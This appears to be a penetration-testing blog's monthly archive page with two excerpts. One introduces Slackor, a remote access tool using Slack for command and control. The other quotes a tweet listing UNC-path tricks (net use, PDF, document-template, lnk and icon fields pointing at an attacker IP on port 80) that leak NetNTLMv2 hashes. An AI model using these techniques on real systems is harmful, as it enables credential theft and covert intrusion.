Month: June 2019

Introducing Slackor, a Remote Access Tool Using Slack as a C2 Channel

As a penetration tester at Coalfire Labs, I frequently use exploitation frameworks such as Metasploit or PowerShell Empire to perform post-exploitation actions on compromised endpoints. While anti-virus (AV) bypass and detection avoidance is often trivial in all but the most mature environments, detections from AV have caused me to look toward custom tooling to mitigate…


Understanding UNC paths, SMB, and WebDAV

While browsing Twitter recently I came upon a tweet that I found to be very interesting: Did know that u can steal #NetNTLMv2 by changing #SMB port to bypass sec-things: net use \\1.2.3.4@80\tor pdf : /F (\\\\IP@80\\t)or dubdoc : ///IP@80/tor doc: Target="file://IP@80/t.dotx"or lnk: URL=file://IP@80/t.htmor: IconFile=\\IP@80\t.ico#RedTeam #NTLM cc @ddouhine — V (@mynameisv__) April 30, 2019 I…